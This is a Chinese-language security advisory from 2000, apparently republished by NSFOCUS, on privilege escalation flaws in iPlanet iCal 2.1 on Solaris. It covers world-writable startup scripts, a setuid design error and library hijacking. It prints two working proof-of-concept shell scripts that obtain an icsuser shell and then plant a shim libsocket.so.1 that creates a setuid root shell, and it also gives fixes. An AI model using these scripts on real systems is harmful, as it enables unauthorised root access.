首页 -> 安全研究

安全研究

安全漏洞
iCal 2.1/Solaris 存在多个安全漏洞

发布日期:2000-10-10
更新日期:2000-10-10

受影响系统:


    iPlanet's iCal version 2.1 Patch 2
       - Solaris 2.6/7
描述:

iPlanet软件包中的iCal是跨平台的日历服务器。

1) 有两种安装方式,一种是图形方式,一种是命令行方式。当采用图形方式安装时,
   默认情况下会执行"xhost -"命令,导致所在主机X Server访问控制被取消。如果
   执行安装脚本时指定'-nodisplay'选项,就会避免该问题。

2) 安装完成后,有289个文件属性是0777,而下面这个文件

   -rwxrwxrwx  1 icsuser  icsgroup /opt/SUNWicsrv/cal/bin/iplncal.sh

   在系统启动、关机时会被root执行到。在Solaris系统上,
   /etc/rc3.d/S94sunwicsrv执行/etc/iplncal.sh,后者是到
   /opt/SUNWicsrv/cal/bin/iplncal.sh的符号链接。

   管理员应该修改这个文件的属性,并将属主改为root,同时最好将
   /opt/SUNWicsrv/cal/bin目录的属主改为root

3) /opt/SUNWicsrv/cal/bin/csstart执行过程中会调用执行者当前目录的cshttpd脚
   本。前者本来是setuid-to-root的,当调用后者的时候euid将事先转换到普通用
   户,由于设计错误,euid被固定地转换成icsuser用户。于是普通用户可以先利用
   这个缺陷获取icsuser用户权限,进一步修改iCal安装目录下的其他文件,如果2)
   中没有更改/opt/SUNWicsrv/cal/bin目录的属主,攻击者还是能够获取root权限。

4) 用truss工具跟踪csstart的执行过程

   7703:   open("./libsocket.so.1", O_RDONLY)              Err#2 ENOENT
   7703:   open("../lib/libsocket.so.1", O_RDONLY)         Err#2 ENOENT
   7703:   open("/usr/lib/libsocket.so.1", O_RDONLY)       = 4

   7703:   open("./libnsl.so.1", O_RDONLY)                 Err#2 ENOENT
   7703:   open("../lib/libnsl.so.1", O_RDONLY)            Err#2 ENOENT
   7703:   open("/usr/lib/libnsl.so.1", O_RDONLY)          = 4

   如果我们在安装目录下放入自己的库文件,则其中的代码将以root身份执行。

<* 来源:Silicosis (silicosis@atstake.com) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


下面是两个测试脚本,第一个用于获取icsuser权限,第二个用于获取root权限。

[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
#  -sili@atstake.com
#
INSTDIR=`cat /etc/iplncal.conf`

cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO

chmod 755 ./cshttpd

echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null

sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]


[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell.
#
#  -sili@atstake.com
#

INSTDIR=`cat /etc/iplncal.conf`

#######
#Create the shim library..

cat > libsushi.c << FOEFOE
/* libsushi
    compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
        setuid(0);
        execl("./icalroot","icalroot",0);
        return 0;
}
FOEFOE

#####
#create the shell script we'll be executing as root..

cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
FOOFOO

#####
#make sure script is executable; compile library & put in place..
#otgpdvt

chmod 755 $INSTDIR/cal/bin/icalroot
gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi libsushi.c
cp ./libsushi $INSTDIR/cal/bin/libsocket.so.1

sleep 1

ls -l $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot

echo ".. Now wait for the iCal service to start up again"
[end:  obtain-root.sh]


建议:

临时解决办法:

    NSFOCUS建议您暂时删除iCal包或者按照漏洞描述中的内容进行临时修复。

厂商补丁:

   Netscape公司提供了补丁 iCS 2.1 Patch-04 Release


浏览次数:5973
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障